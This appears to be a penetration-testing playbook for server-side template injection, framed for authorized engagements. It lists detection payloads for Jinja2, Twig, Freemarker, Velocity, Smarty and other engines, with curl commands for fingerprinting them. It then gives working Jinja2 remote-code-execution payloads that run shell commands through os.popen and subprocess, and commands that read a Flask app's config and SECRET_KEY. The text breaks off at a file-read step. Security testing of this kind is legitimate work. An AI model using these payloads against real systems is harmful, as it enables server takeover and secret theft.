Exploiting Template Injection Vulnerabilities

When to Use

• During authorized penetration tests when user input is rendered through a server-side template engine
• When testing error pages, email templates, PDF generators, or report builders that include user-supplied data
• For assessing applications that allow users to customize templates or notification messages
• When identifying potential SSTI in parameters that reflect arithmetic results (e.g., {{7*7}} returns 49)
• During security assessments of CMS platforms, marketing tools, or any application with templating functionality

Prerequisites

• Authorization: Written penetration testing agreement with RCE testing scope
• Burp Suite Professional: For intercepting and modifying template parameters
• tplmap: Automated SSTI exploitation tool (git clone https://github.com/epinna/tplmap.git)
• SSTImap: Modern SSTI scanner (pip install sstimap)
• curl: For manual SSTI payload testing
• Knowledge of template engines: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty

Workflow

Step 1: Identify Template Injection Points

Find parameters where user input is processed by a template engine.

# Inject mathematical expressions to detect template processing
# If the server evaluates the expression, SSTI may be present

# Universal detection payloads
PAYLOADS=(
  '{{7*7}}'           # Jinja2, Twig
  '${7*7}'            # Freemarker, Velocity, Spring EL
  '#{7*7}'            # Thymeleaf, Ruby ERB
  '<%= 7*7 %>'        # ERB (Ruby), EJS (Node.js)
  '{7*7}'             # Smarty
  '{{= 7*7}}'         # doT.js
  '${{7*7}}'          # AngularJS/Spring
  '#set($x=7*7)$x'   # Velocity
)

for payload in "${PAYLOADS[@]}"; do
  encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
  echo -n "$payload -> "
  curl -s "https://target.example.com/page?name=$encoded" | grep -o "49"
done

# Check common injection locations:
# - Error pages with reflected input
# - Profile fields (name, bio, signature)
# - Email subject/body templates
# - PDF/report generation with custom fields
# - Search results pages
# - 404 pages reflecting the URL path
# - Notification templates

Step 2: Identify the Template Engine

Determine which template engine is in use to select the appropriate exploitation technique.

# Decision tree for engine identification:
# {{7*'7'}} => 7777777 = Jinja2 (Python)
# {{7*'7'}} => 49 = Twig (PHP)
# ${7*7} => 49 = Freemarker/Velocity (Java)
# #{7*7} => 49 = Thymeleaf (Java)
# <%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)

# Test Jinja2 vs Twig
curl -s "https://target.example.com/page?name={{7*'7'}}"
# 7777777 = Jinja2
# 49 = Twig

# Test for Jinja2 specifically
curl -s "https://target.example.com/page?name={{config}}"
# Returns Flask config = Jinja2/Flask

# Test for Freemarker
curl -s "https://target.example.com/page?name=\${.now}"
# Returns date/time = Freemarker

# Test for Velocity
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a"
# Returns 1 = Velocity

# Test for Smarty
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}"
# Returns test = Smarty

# Test for Pebble
curl -s "https://target.example.com/page?name={{%27test%27.class}}"
# Returns class info = Pebble

# Use tplmap for automated engine detection
python3 tplmap.py -u "https://target.example.com/page?name=test"

Step 3: Exploit Jinja2 (Python/Flask)

Achieve code execution through Jinja2 template injection.

# Read configuration
curl -s "https://target.example.com/page?name={{config.items()}}"

# Access secret key
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}"

# RCE via Jinja2 - method 1: accessing os module through MRO
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# RCE via Jinja2 - method 2: using cycler
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# RCE via Jinja2 - method 3: using lipsum
PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# File read via Jinja2

…